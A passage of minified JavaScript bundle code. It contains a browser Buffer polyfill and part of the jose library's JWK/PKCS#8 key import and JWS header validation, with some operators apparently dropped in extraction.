v)}s.from=function(v,l,d){return c(v,l,d)},Object.setPrototypeOf(s.prototype,Uint8Array.prototype),Object.setPrototypeOf(s,Uint8Array);function b(v){if(typeof v!="number")throw new TypeError('"size" argument must be of type number');if(v<0)throw new RangeError('The value "'+v+'" is invalid for option "size"')}function p(v,l,d){return b(v),v<=0?o(v):l!==void 0?typeof d=="string"?o(v).fill(l,d):o(v).fill(l):o(v)}s.alloc=function(v,l,d){return p(v,l,d)};function m(v){return b(v),o(v<0?0:z(v)|0)}s.allocUnsafe=function(v){return m(v)},s.allocUnsafeSlow=function(v){return m(v)};function E(v,l){if((typeof l!="string"||l==="")&&(l="utf8"),!s.isEncoding(l))throw new TypeError("Unknown encoding: "+l);const d=R(v,l)|0;let w=o(d);const O=w.write(v,l);return O!==d&&(w=w.slice(0,O)),w}function I(v){const l=v.length<0?0:z(v.length)|0,d=o(l);for(let w=0;w=i)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+i.toString(16)+" bytes");return v|0}function D(v){return+v!=v&&(v=0),s.alloc(+v)}s.isBuffer=function(l){return l!=null&&l._isBuffer===!0&&l!==s.prototype},s.compare=function(l,d){if(ue(l,Uint8Array)&&(l=s.from(l,l.offset,l.byteLength)),ue(d,Uint8Array)&&(d=s.from(d,d.offset,d.byteLength)),!s.isBuffer(l)||!s.isBuffer(d))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(l===d)return 0;let w=l.length,O=d.length;for(let T=0,P=Math.min(w,O);TO.length?(s.isBuffer(P)||(P=s.from(P)),P.copy(O,T)):Uint8Array.prototype.set.call(O,P,T);else if(s.isBuffer(P))P.copy(O,T);else throw new TypeError('"list" argument must be an Array of Buffers');T+=P.length}return O};function R(v,l){if(s.isBuffer(v))return v.length;if(ArrayBuffer.isView(v)||ue(v,ArrayBuffer))return v.byteLength;if(typeof v!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof v);const d=v.length,w=arguments.length>2&&arguments[2]===!0;if(!w&&d===0)return 0;let O=!1;for(;;)switch(l){case"ascii":case"latin1":case"binary":return d;case"utf8":case"utf-8":return nr(v).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return d*2;case"hex":return d>>>1;case"base64":return ut(v).length;default:if(O)return w?-1:nr(v).length;l=(""+l).toLowerCase(),O=!0}}s.byteLength=R;function N(v,l,d){let w=!1;if((l===void 0||l<0)&&(l=0),l>this.length||((d===void 0||d>this.length)&&(d=this.length),d<=0)||(d>>>=0,l>>>=0,d<=l))return"";for(v||(v="utf8");;)switch(v){case"hex":return _(this,l,d);case"utf8":case"utf-8":return g(this,l,d);case"ascii":return A(this,l,d);case"latin1":case"binary":return k(this,l,d);case"base64":return h(this,l,d);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return u(this,l,d);default:if(w)throw new TypeError("Unknown encoding: "+v);v=(v+"").toLowerCase(),w=!0}}s.prototype._isBuffer=!0;function $(v,l,d){const w=v[l];v[l]=v[d],v[d]=w}s.prototype.swap16=function(){const l=this.length;if(l%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(let d=0;dd&&(l+=" ... "),""},n&&(s.prototype[n]=s.prototype.inspect),s.prototype.compare=function(l,d,w,O,T){if(ue(l,Uint8Array)&&(l=s.from(l,l.offset,l.byteLength)),!s.isBuffer(l))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof l);if(d===void 0&&(d=0),w===void 0&&(w=l?l.length:0),O===void 0&&(O=0),T===void 0&&(T=this.length),d<0||w>l.length||O<0||T>this.length)throw new RangeError("out of range index");if(O>=T&&d>=w)return 0;if(O>=T)return-1;if(d>=w)return 1;if(d>>>=0,w>>>=0,O>>>=0,T>>>=0,this===l)return 0;let P=T-O,Y=w-d;const Ee=Math.min(P,Y),Q=this.slice(O,T),te=l.slice(d,w);for(let ve=0;ve2147483647?d=2147483647:d<-2147483648&&(d=-2147483648),d=+d,ir(d)&&(d=O?0:v.length-1),d<0&&(d=v.length+d),d>=v.length){if(O)return-1;d=v.length-1}else if(d<0)if(O)d=0;else return-1;if(typeof l=="string"&&(l=s.from(l,w)),s.isBuffer(l))return l.length===0?-1:K(v,l,d,w,O);if(typeof l=="number")return l=l&255,typeof Uint8Array.prototype.indexOf=="function"?O?Uint8Array.prototype.indexOf.call(v,l,d):Uint8Array.prototype.lastIndexOf.call(v,l,d):K(v,[l],d,w,O);throw new TypeError("val must be string, number or Buffer")}function K(v,l,d,w,O){let T=1,P=v.length,Y=l.length;if(w!==void 0&&(w=String(w).toLowerCase(),w==="ucs2"||w==="ucs-2"||w==="utf16le"||w==="utf-16le")){if(v.length<2||l.length<2)return-1;T=2,P/=2,Y/=2,d/=2}function Ee(te,ve){return T===1?te[ve]:te.readUInt16BE(ve*T)}let Q;if(O){let te=-1;for(Q=d;QP&&(d=P-Y),Q=d;Q>=0;Q--){let te=!0;for(let ve=0;veO&&(w=O)):w=O;const T=l.length;w>T/2&&(w=T/2);let P;for(P=0;P>>0,isFinite(w)?(w=w>>>0,O===void 0&&(O="utf8")):(O=w,w=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");const T=this.length-d;if((w===void 0||w>T)&&(w=T),l.length>0&&(w<0||d<0)||d>this.length)throw new RangeError("Attempt to write outside buffer bounds");O||(O="utf8");let P=!1;for(;;)switch(O){case"hex":return j(this,l,d,w);case"utf8":case"utf-8":return H(this,l,d,w);case"ascii":case"latin1":case"binary":return U(this,l,d,w);case"base64":return x(this,l,d,w);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return f(this,l,d,w);default:if(P)throw new TypeError("Unknown encoding: "+O);O=(""+O).toLowerCase(),P=!0}},s.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function h(v,l,d){return l===0&&d===v.length?t.fromByteArray(v):t.fromByteArray(v.slice(l,d))}function g(v,l,d){d=Math.min(v.length,d);const w=[];let O=l;for(;O239?4:T>223?3:T>191?2:1;if(O+Y<=d){let Ee,Q,te,ve;switch(Y){case 1:T<128&&(P=T);break;case 2:Ee=v[O+1],(Ee&192)===128&&(ve=(T&31)<<6|Ee&63,ve>127&&(P=ve));break;case 3:Ee=v[O+1],Q=v[O+2],(Ee&192)===128&&(Q&192)===128&&(ve=(T&15)<<12|(Ee&63)<<6|Q&63,ve>2047&&(ve<55296||ve>57343)&&(P=ve));break;case 4:Ee=v[O+1],Q=v[O+2],te=v[O+3],(Ee&192)===128&&(Q&192)===128&&(te&192)===128&&(ve=(T&15)<<18|(Ee&63)<<12|(Q&63)<<6|te&63,ve>65535&&ve<1114112&&(P=ve))}}P===null?(P=65533,Y=1):P>65535&&(P-=65536,w.push(P>>>10&1023|55296),P=56320|P&1023),w.push(P),O+=Y}return M(w)}const y=4096;function M(v){const l=v.length;if(l<=y)return String.fromCharCode.apply(String,v);let d="",w=0;for(;ww)&&(d=w);let O="";for(let T=l;Tw&&(l=w),d<0?(d+=w,d<0&&(d=0)):d>w&&(d=w),dd)throw new RangeError("Trying to access beyond buffer length")}s.prototype.readUintLE=s.prototype.readUIntLE=function(l,d,w){l=l>>>0,d=d>>>0,w||S(l,d,this.length);let O=this[l],T=1,P=0;for(;++P>>0,d=d>>>0,w||S(l,d,this.length);let O=this[l+--d],T=1;for(;d>0&&(T*=256);)O+=this[l+--d]*T;return O},s.prototype.readUint8=s.prototype.readUInt8=function(l,d){return l=l>>>0,d||S(l,1,this.length),this[l]},s.prototype.readUint16LE=s.prototype.readUInt16LE=function(l,d){return l=l>>>0,d||S(l,2,this.length),this[l]|this[l+1]<<8},s.prototype.readUint16BE=s.prototype.readUInt16BE=function(l,d){return l=l>>>0,d||S(l,2,this.length),this[l]<<8|this[l+1]},s.prototype.readUint32LE=s.prototype.readUInt32LE=function(l,d){return l=l>>>0,d||S(l,4,this.length),(this[l]|this[l+1]<<8|this[l+2]<<16)+this[l+3]*16777216},s.prototype.readUint32BE=s.prototype.readUInt32BE=function(l,d){return l=l>>>0,d||S(l,4,this.length),this[l]*16777216+(this[l+1]<<16|this[l+2]<<8|this[l+3])},s.prototype.readBigUInt64LE=de(function(l){l=l>>>0,pe(l,"offset");const d=this[l],w=this[l+7];(d===void 0||w===void 0)&&Ft(l,this.length-8);const O=d+this[++l]*2**8+this[++l]*2**16+this[++l]*2**24,T=this[++l]+this[++l]*2**8+this[++l]*2**16+w*2**24;return BigInt(O)+(BigInt(T)<>>0,pe(l,"offset");const d=this[l],w=this[l+7];(d===void 0||w===void 0)&&Ft(l,this.length-8);const O=d*2**24+this[++l]*2**16+this[++l]*2**8+this[++l],T=this[++l]*2**24+this[++l]*2**16+this[++l]*2**8+w;return(BigInt(O)<>>0,d=d>>>0,w||S(l,d,this.length);let O=this[l],T=1,P=0;for(;++P=T&&(O-=Math.pow(2,8*d)),O},s.prototype.readIntBE=function(l,d,w){l=l>>>0,d=d>>>0,w||S(l,d,this.length);let O=d,T=1,P=this[l+--O];for(;O>0&&(T*=256);)P+=this[l+--O]*T;return T*=128,P>=T&&(P-=Math.pow(2,8*d)),P},s.prototype.readInt8=function(l,d){return l=l>>>0,d||S(l,1,this.length),this[l]&128?(255-this[l]+1)*-1:this[l]},s.prototype.readInt16LE=function(l,d){l=l>>>0,d||S(l,2,this.length);const w=this[l]|this[l+1]<<8;return w&32768?w|4294901760:w},s.prototype.readInt16BE=function(l,d){l=l>>>0,d||S(l,2,this.length);const w=this[l+1]|this[l]<<8;return w&32768?w|4294901760:w},s.prototype.readInt32LE=function(l,d){return l=l>>>0,d||S(l,4,this.length),this[l]|this[l+1]<<8|this[l+2]<<16|this[l+3]<<24},s.prototype.readInt32BE=function(l,d){return l=l>>>0,d||S(l,4,this.length),this[l]<<24|this[l+1]<<16|this[l+2]<<8|this[l+3]},s.prototype.readBigInt64LE=de(function(l){l=l>>>0,pe(l,"offset");const d=this[l],w=this[l+7];(d===void 0||w===void 0)&&Ft(l,this.length-8);const O=this[l+4]+this[l+5]*2**8+this[l+6]*2**16+(w<<24);return(BigInt(O)<>>0,pe(l,"offset");const d=this[l],w=this[l+7];(d===void 0||w===void 0)&&Ft(l,this.length-8);const O=(d<<24)+this[++l]*2**16+this[++l]*2**8+this[++l];return(BigInt(O)<>>0,d||S(l,4,this.length),r.read(this,l,!0,23,4)},s.prototype.readFloatBE=function(l,d){return l=l>>>0,d||S(l,4,this.length),r.read(this,l,!1,23,4)},s.prototype.readDoubleLE=function(l,d){return l=l>>>0,d||S(l,8,this.length),r.read(this,l,!0,52,8)},s.prototype.readDoubleBE=function(l,d){return l=l>>>0,d||S(l,8,this.length),r.read(this,l,!1,52,8)};function V(v,l,d,w,O,T){if(!s.isBuffer(v))throw new TypeError('"buffer" argument must be a Buffer instance');if(l>O||lv.length)throw new RangeError("Index out of range")}s.prototype.writeUintLE=s.prototype.writeUIntLE=function(l,d,w,O){if(l=+l,d=d>>>0,w=w>>>0,!O){const Y=Math.pow(2,8*w)-1;V(this,l,d,w,Y,0)}let T=1,P=0;for(this[d]=l&255;++P>>0,w=w>>>0,!O){const Y=Math.pow(2,8*w)-1;V(this,l,d,w,Y,0)}let T=w-1,P=1;for(this[d+T]=l&255;--T>=0&&(P*=256);)this[d+T]=l/P&255;return d+w},s.prototype.writeUint8=s.prototype.writeUInt8=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,1,255,0),this[d]=l&255,d+1},s.prototype.writeUint16LE=s.prototype.writeUInt16LE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,2,65535,0),this[d]=l&255,this[d+1]=l>>>8,d+2},s.prototype.writeUint16BE=s.prototype.writeUInt16BE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,2,65535,0),this[d]=l>>>8,this[d+1]=l&255,d+2},s.prototype.writeUint32LE=s.prototype.writeUInt32LE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,4,4294967295,0),this[d+3]=l>>>24,this[d+2]=l>>>16,this[d+1]=l>>>8,this[d]=l&255,d+4},s.prototype.writeUint32BE=s.prototype.writeUInt32BE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,4,4294967295,0),this[d]=l>>>24,this[d+1]=l>>>16,this[d+2]=l>>>8,this[d+3]=l&255,d+4};function W(v,l,d,w,O){Me(l,w,O,v,d,7);let T=Number(l&BigInt(4294967295));v[d++]=T,T=T>>8,v[d++]=T,T=T>>8,v[d++]=T,T=T>>8,v[d++]=T;let P=Number(l>>BigInt(32)&BigInt(4294967295));return v[d++]=P,P=P>>8,v[d++]=P,P=P>>8,v[d++]=P,P=P>>8,v[d++]=P,d}function J(v,l,d,w,O){Me(l,w,O,v,d,7);let T=Number(l&BigInt(4294967295));v[d+7]=T,T=T>>8,v[d+6]=T,T=T>>8,v[d+5]=T,T=T>>8,v[d+4]=T;let P=Number(l>>BigInt(32)&BigInt(4294967295));return v[d+3]=P,P=P>>8,v[d+2]=P,P=P>>8,v[d+1]=P,P=P>>8,v[d]=P,d+8}s.prototype.writeBigUInt64LE=de(function(l,d=0){return W(this,l,d,BigInt(0),BigInt("0xffffffffffffffff"))}),s.prototype.writeBigUInt64BE=de(function(l,d=0){return J(this,l,d,BigInt(0),BigInt("0xffffffffffffffff"))}),s.prototype.writeIntLE=function(l,d,w,O){if(l=+l,d=d>>>0,!O){const Ee=Math.pow(2,8*w-1);V(this,l,d,w,Ee-1,-Ee)}let T=0,P=1,Y=0;for(this[d]=l&255;++T>0)-Y&255;return d+w},s.prototype.writeIntBE=function(l,d,w,O){if(l=+l,d=d>>>0,!O){const Ee=Math.pow(2,8*w-1);V(this,l,d,w,Ee-1,-Ee)}let T=w-1,P=1,Y=0;for(this[d+T]=l&255;--T>=0&&(P*=256);)l<0&&Y===0&&this[d+T+1]!==0&&(Y=1),this[d+T]=(l/P>>0)-Y&255;return d+w},s.prototype.writeInt8=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,1,127,-128),l<0&&(l=255+l+1),this[d]=l&255,d+1},s.prototype.writeInt16LE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,2,32767,-32768),this[d]=l&255,this[d+1]=l>>>8,d+2},s.prototype.writeInt16BE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,2,32767,-32768),this[d]=l>>>8,this[d+1]=l&255,d+2},s.prototype.writeInt32LE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,4,2147483647,-2147483648),this[d]=l&255,this[d+1]=l>>>8,this[d+2]=l>>>16,this[d+3]=l>>>24,d+4},s.prototype.writeInt32BE=function(l,d,w){return l=+l,d=d>>>0,w||V(this,l,d,4,2147483647,-2147483648),l<0&&(l=4294967295+l+1),this[d]=l>>>24,this[d+1]=l>>>16,this[d+2]=l>>>8,this[d+3]=l&255,d+4},s.prototype.writeBigInt64LE=de(function(l,d=0){return W(this,l,d,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))}),s.prototype.writeBigInt64BE=de(function(l,d=0){return J(this,l,d,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function X(v,l,d,w,O,T){if(d+w>v.length)throw new RangeError("Index out of range");if(d<0)throw new RangeError("Index out of range")}function ie(v,l,d,w,O){return l=+l,d=d>>>0,O||X(v,l,d,4),r.write(v,l,d,w,23,4),d+4}s.prototype.writeFloatLE=function(l,d,w){return ie(this,l,d,!0,w)},s.prototype.writeFloatBE=function(l,d,w){return ie(this,l,d,!1,w)};function fe(v,l,d,w,O){return l=+l,d=d>>>0,O||X(v,l,d,8),r.write(v,l,d,w,52,8),d+8}s.prototype.writeDoubleLE=function(l,d,w){return fe(this,l,d,!0,w)},s.prototype.writeDoubleBE=function(l,d,w){return fe(this,l,d,!1,w)},s.prototype.copy=function(l,d,w,O){if(!s.isBuffer(l))throw new TypeError("argument should be a Buffer");if(w||(w=0),!O&&O!==0&&(O=this.length),d>=l.length&&(d=l.length),d||(d=0),O>0&&O=this.length)throw new RangeError("Index out of range");if(O<0)throw new RangeError("sourceEnd out of bounds");O>this.length&&(O=this.length),l.length-d>>0,w=w===void 0?this.length:w>>>0,l||(l=0);let T;if(typeof l=="number")for(T=d;T2**32?O=ge(String(d)):typeof d=="bigint"&&(O=String(d),(d>BigInt(2)**BigInt(32)||d<-(BigInt(2)**BigInt(32)))&&(O=ge(O)),O+="n"),w+=` It must be ${l}. Received ${O}`,w},RangeError);function ge(v){let l="",d=v.length;const w=v[0]==="-"?1:0;for(;d>=w+4;d-=3)l=`_${v.slice(d-3,d)}${l}`;return`${v.slice(0,d)}${l}`}function pr(v,l,d){pe(l,"offset"),(v[l]===void 0||v[l+d]===void 0)&&Ft(l,v.length-(d+1))}function Me(v,l,d,w,O,T){if(v>d||v= 0${P} and < 2${P} ** ${(T+1)*8}${P}`:Y=`>= -(2${P} ** ${(T+1)*8-1}${P}) and < 2 ** ${(T+1)*8-1}${P}`,new Be.ERR_OUT_OF_RANGE("value",Y,v)}pr(w,O,T)}function pe(v,l){if(typeof v!="number")throw new Be.ERR_INVALID_ARG_TYPE(l,"number",v)}function Ft(v,l,d){throw Math.floor(v)!==v?(pe(v,d),new Be.ERR_OUT_OF_RANGE("offset","an integer",v)):l<0?new Be.ERR_BUFFER_OUT_OF_BOUNDS:new Be.ERR_OUT_OF_RANGE("offset",`>= 0 and <= ${l}`,v)}const Ae=/[^+/0-9A-Za-z-_]/g;function _e(v){if(v=v.split("=")[0],v=v.trim().replace(Ae,""),v.length<2)return"";for(;v.length%4!==0;)v=v+"=";return v}function nr(v,l){l=l||1/0;let d;const w=v.length;let O=null;const T=[];for(let P=0;P55295&&d<57344){if(!O){if(d>56319){(l-=3)>-1&&T.push(239,191,189);continue}else if(P+1===w){(l-=3)>-1&&T.push(239,191,189);continue}O=d;continue}if(d<56320){(l-=3)>-1&&T.push(239,191,189),O=d;continue}d=(O-55296<<10|d-56320)+65536}else O&&(l-=3)>-1&&T.push(239,191,189);if(O=null,d<128){if((l-=1)<0)break;T.push(d)}else if(d<2048){if((l-=2)<0)break;T.push(d>>6|192,d&63|128)}else if(d<65536){if((l-=3)<0)break;T.push(d>>12|224,d>>6&63|128,d&63|128)}else if(d<1114112){if((l-=4)<0)break;T.push(d>>18|240,d>>12&63|128,d>>6&63|128,d&63|128)}else throw new Error("Invalid code point")}return T}function Ie(v){const l=[];for(let d=0;d>8,O=d%256,T.push(O),T.push(w);return T}function ut(v){return t.toByteArray(_e(v))}function be(v,l,d,w){let O;for(O=0;O=l.length||O>=v.length);++O)l[O+d]=v[O];return O}function ue(v,l){return v instanceof l||v!=null&&v.constructor!=null&&v.constructor.name!=null&&v.constructor.name===l.name}function ir(v){return v!==v}const we=function(){const v="0123456789abcdef",l=new Array(256);for(let d=0;d<16;++d){const w=d*16;for(let O=0;O<16;++O)l[w+O]=v[d]+v[O]}return l}();function de(v){return typeof BigInt>"u"?Or:v}function Or(){throw new Error("BigInt not supported")}})(fi);const ui=crypto,Xs=e=>e instanceof CryptoKey,Xr=new TextEncoder,va=new TextDecoder;function xc(...e){const t=e.reduce((i,{length:a})=>i+a,0),r=new Uint8Array(t);let n=0;for(const i of e)r.set(i,n),n+=i.length;return r}const wc=e=>{let t=e;typeof t=="string"&&(t=Xr.encode(t));const r=32768,n=[];for(let i=0;iwc(e).replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_"),Sc=e=>{const t=atob(e),r=new Uint8Array(t.length);for(let n=0;n{let t=e;t instanceof Uint8Array&&(t=va.decode(t)),t=t.replace(/-/g,"+").replace(/_/g,"/").replace(/\s/g,"");try{return Sc(t)}catch{throw new TypeError("The input to be decoded is not correctly encoded.")}};class ja extends Error{static get code(){return"ERR_JOSE_GENERIC"}constructor(t){var r;super(t),this.code="ERR_JOSE_GENERIC",this.name=this.constructor.name,(r=Error.captureStackTrace)==null||r.call(Error,this,this.constructor)}}class xr extends ja{constructor(){super(...arguments),this.code="ERR_JOSE_NOT_SUPPORTED"}static get code(){return"ERR_JOSE_NOT_SUPPORTED"}}class En extends ja{constructor(){super(...arguments),this.code="ERR_JWS_INVALID"}static get code(){return"ERR_JWS_INVALID"}}class _c extends ja{constructor(){super(...arguments),this.code="ERR_JWT_INVALID"}static get code(){return"ERR_JWT_INVALID"}}function or(e,t="algorithm.name"){return new TypeError(`CryptoKey does not support this operation, its ${t} must be ${e}`)}function Vn(e,t){return e.name===t}function Xi(e){return parseInt(e.name.slice(4),10)}function Ec(e){switch(e){case"ES256":return"P-256";case"ES384":return"P-384";case"ES512":return"P-521";default:throw new Error("unreachable")}}function Ac(e,t){if(t.length&&!t.some(r=>e.usages.includes(r))){let r="CryptoKey does not support this operation, its usages must include ";if(t.length>2){const n=t.pop();r+=`one of ${t.join(", ")}, or ${n}.`}else t.length===2?r+=`one of ${t[0]} or ${t[1]}.`:r+=`${t[0]}.`;throw new TypeError(r)}}function Ic(e,t,...r){switch(t){case"HS256":case"HS384":case"HS512":{if(!Vn(e.algorithm,"HMAC"))throw or("HMAC");const n=parseInt(t.slice(2),10);if(Xi(e.algorithm.hash)!==n)throw or(`SHA-${n}`,"algorithm.hash");break}case"RS256":case"RS384":case"RS512":{if(!Vn(e.algorithm,"RSASSA-PKCS1-v1_5"))throw or("RSASSA-PKCS1-v1_5");const n=parseInt(t.slice(2),10);if(Xi(e.algorithm.hash)!==n)throw or(`SHA-${n}`,"algorithm.hash");break}case"PS256":case"PS384":case"PS512":{if(!Vn(e.algorithm,"RSA-PSS"))throw or("RSA-PSS");const n=parseInt(t.slice(2),10);if(Xi(e.algorithm.hash)!==n)throw or(`SHA-${n}`,"algorithm.hash");break}case"EdDSA":{if(e.algorithm.name!=="Ed25519"&&e.algorithm.name!=="Ed448")throw or("Ed25519 or Ed448");break}case"ES256":case"ES384":case"ES512":{if(!Vn(e.algorithm,"ECDSA"))throw or("ECDSA");const n=Ec(t);if(e.algorithm.namedCurve!==n)throw or(n,"algorithm.namedCurve");break}default:throw new TypeError("CryptoKey does not support this operation")}Ac(e,r)}function Gs(e,t,...r){var n;if(r.length>2){const i=r.pop();e+=`one of type ${r.join(", ")}, or ${i}.`}else r.length===2?e+=`one of type ${r[0]} or ${r[1]}.`:e+=`of type ${r[0]}.`;return t==null?e+=` Received ${t}`:typeof t=="function"&&t.name?e+=` Received function ${t.name}`:typeof t=="object"&&t!=null&&(n=t.constructor)!=null&&n.name&&(e+=` Received an instance of ${t.constructor.name}`),e}const zo=(e,...t)=>Gs("Key must be ",e,...t);function Zs(e,t,...r){return Gs(`Key for the ${e} algorithm must be `,t,...r)}const Qs=e=>Xs(e)?!0:(e==null?void 0:e[Symbol.toStringTag])==="KeyObject",Zn=["CryptoKey"],Oc=(...e)=>{const t=e.filter(Boolean);if(t.length===0||t.length===1)return!0;let r;for(const n of t){const i=Object.keys(n);if(!r||r.size===0){r=new Set(i);continue}for(const a of i){if(r.has(a))return!1;r.add(a)}}return!0};function Bc(e){return typeof e=="object"&&e!==null}function kc(e){if(!Bc(e)||Object.prototype.toString.call(e)!=="[object Object]")return!1;if(Object.getPrototypeOf(e)===null)return!0;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}const Cc=(e,t)=>{if(e.startsWith("RS")||e.startsWith("PS")){const{modulusLength:r}=t.algorithm;if(typeof r!="number"||r<2048)throw new TypeError(`${e} requires key modulusLength to be 2048 bits or larger`)}};function Rc(e){let t,r;switch(e.kty){case"RSA":{switch(e.alg){case"PS256":case"PS384":case"PS512":t={name:"RSA-PSS",hash:`SHA-${e.alg.slice(-3)}`},r=e.d?["sign"]:["verify"];break;case"RS256":case"RS384":case"RS512":t={name:"RSASSA-PKCS1-v1_5",hash:`SHA-${e.alg.slice(-3)}`},r=e.d?["sign"]:["verify"];break;case"RSA-OAEP":case"RSA-OAEP-256":case"RSA-OAEP-384":case"RSA-OAEP-512":t={name:"RSA-OAEP",hash:`SHA-${parseInt(e.alg.slice(-3),10)||1}`},r=e.d?["decrypt","unwrapKey"]:["encrypt","wrapKey"];break;default:throw new xr('Invalid or unsupported JWK "alg" (Algorithm) Parameter value')}break}case"EC":{switch(e.alg){case"ES256":t={name:"ECDSA",namedCurve:"P-256"},r=e.d?["sign"]:["verify"];break;case"ES384":t={name:"ECDSA",namedCurve:"P-384"},r=e.d?["sign"]:["verify"];break;case"ES512":t={name:"ECDSA",namedCurve:"P-521"},r=e.d?["sign"]:["verify"];break;case"ECDH-ES":case"ECDH-ES+A128KW":case"ECDH-ES+A192KW":case"ECDH-ES+A256KW":t={name:"ECDH",namedCurve:e.crv},r=e.d?["deriveBits"]:[];break;default:throw new xr('Invalid or unsupported JWK "alg" (Algorithm) Parameter value')}break}case"OKP":{switch(e.alg){case"EdDSA":t={name:e.crv},r=e.d?["sign"]:["verify"];break;case"ECDH-ES":case"ECDH-ES+A128KW":case"ECDH-ES+A192KW":case"ECDH-ES+A256KW":t={name:e.crv},r=e.d?["deriveBits"]:[];break;default:throw new xr('Invalid or unsupported JWK "alg" (Algorithm) Parameter value')}break}default:throw new xr('Invalid or unsupported JWK "kty" (Key Type) Parameter value')}return{algorithm:t,keyUsages:r}}const $c=async e=>{if(!e.alg)throw new TypeError('"alg" argument is required when "jwk.alg" is not present');const{algorithm:t,keyUsages:r}=Rc(e),n=[t,e.ext??!1,e.key_ops??r],i={...e};return delete i.alg,delete i.use,ui.subtle.importKey("jwk",i,...n)},ef=e=>Mc(e);let Gi,Zi;const tf=e=>(e==null?void 0:e[Symbol.toStringTag])==="KeyObject",rf=async(e,t,r,n)=>{let i=e.get(t);if(i!=null&&i[n])return i[n];const a=await $c({...r,alg:n});return i?i[n]=a:e.set(t,{[n]:a}),a},Tc=(e,t)=>{if(tf(e)){let r=e.export({format:"jwk"});return delete r.d,delete r.dp,delete r.dq,delete r.p,delete r.q,delete r.qi,r.k?ef(r.k):(Zi||(Zi=new WeakMap),rf(Zi,e,r,t))}return e},Pc=(e,t)=>{if(tf(e)){let r=e.export({format:"jwk"});return r.k?ef(r.k):(Gi||(Gi=new WeakMap),rf(Gi,e,r,t))}return e},Nc={normalizePublicKey:Tc,normalizePrivateKey:Pc},mr=(e,t,r=0)=>{r===0&&(t.unshift(t.length),t.unshift(6));const n=e.indexOf(t[0],r);if(n===-1)return!1;const i=e.subarray(n,n+t.length);return i.length!==t.length?!1:i.every((a,o)=>a===t[o])||mr(e,t,n+1)},Do=e=>{switch(!0){case mr(e,[42,134,72,206,61,3,1,7]):return"P-256";case mr(e,[43,129,4,0,34]):return"P-384";case mr(e,[43,129,4,0,35]):return"P-521";case mr(e,[43,101,110]):return"X25519";case mr(e,[43,101,111]):return"X448";case mr(e,[43,101,112]):return"Ed25519";case mr(e,[43,101,113]):return"Ed448";default:throw new xr("Invalid or unsupported EC Key Curve or OKP Key Sub Type")}},zc=async(e,t,r,n,i)=>{let a,o;const s=new Uint8Array(atob(r.replace(e,"")).split("").map(c=>c.charCodeAt(0)));switch(n){case"PS256":case"PS384":case"PS512":a={name:"RSA-PSS",hash:`SHA-${n.slice(-3)}`},o=["sign"];break;case"RS256":case"RS384":case"RS512":a={name:"RSASSA-PKCS1-v1_5",hash:`SHA-${n.slice(-3)}`},o=["sign"];break;case"RSA-OAEP":case"RSA-OAEP-256":case"RSA-OAEP-384":case"RSA-OAEP-512":a={name:"RSA-OAEP",hash:`SHA-${parseInt(n.slice(-3),10)||1}`},o=["decrypt","unwrapKey"];break;case"ES256":a={name:"ECDSA",namedCurve:"P-256"},o=["sign"];break;case"ES384":a={name:"ECDSA",namedCurve:"P-384"},o=["sign"];break;case"ES512":a={name:"ECDSA",namedCurve:"P-521"},o=["sign"];break;case"ECDH-ES":case"ECDH-ES+A128KW":case"ECDH-ES+A192KW":case"ECDH-ES+A256KW":{const c=Do(s);a=c.startsWith("P-")?{name:"ECDH",namedCurve:c}:{name:c},o=["deriveBits"];break}case"EdDSA":a={name:Do(s)},o=["sign"];break;default:throw new xr('Invalid or unsupported "alg" (Algorithm) value')}return ui.subtle.importKey(t,s,a,!1,o)},Dc=(e,t,r)=>zc(/(?:-----(?:BEGIN|END) PRIVATE KEY-----|\s)/g,"pkcs8",e,t);async function Fc(e,t,r){if(typeof e!="string"||e.indexOf("-----BEGIN PRIVATE KEY-----")!==0)throw new TypeError('"pkcs8" must be PKCS#8 formatted string');return Dc(e,t)}const On=e=>e==null?void 0:e[Symbol.toStringTag],Lc=(e,t)=>{if(!(t instanceof Uint8Array)){if(!Qs(t))throw new TypeError(Zs(e,t,...Zn,"Uint8Array"));if(t.type!=="secret")throw new TypeError(`${On(t)} instances for symmetric algorithms must be of type "secret"`)}},jc=(e,t,r)=>{if(!Qs(t))throw new TypeError(Zs(e,t,...Zn));if(t.type==="secret")throw new TypeError(`${On(t)} instances for asymmetric algorithms must not be of type "secret"`);if(t.type==="public")throw new TypeError(`${On(t)} instances for asymmetric algorithm signing must be of type "private"`);if(t.algorithm&&r==="verify"&&t.type==="private")throw new TypeError(`${On(t)} instances for asymmetric algorithm verifying must be of type "public"`);if(t.algorithm&&r==="encrypt"&&t.type==="private")throw new TypeError(`${On(t)} instances for asymmetric algorithm encryption must be of type "public"`)},Uc=(e,t,r)=>{e.startsWith("HS")||e==="dir"||e.startsWith("PBES2")||/^A\d{3}(?:GCM)?KW$/.test(e)?Lc(e,t):jc(e,t,r)};function qc(e,t,r,n,i){if(i.crit!==void 0&&(n==null?void 0:n.crit)===void 0)throw new e('"crit" (Critical) Header Parameter MUST be integrity protected');if(!n||n.crit===void 0)return new Set;if(!Array.isArray(n.crit)||n.crit.length===0||n.crit.some(o=>typeof o!="string"||o.length===0))throw new e('"crit" (Critical) Header 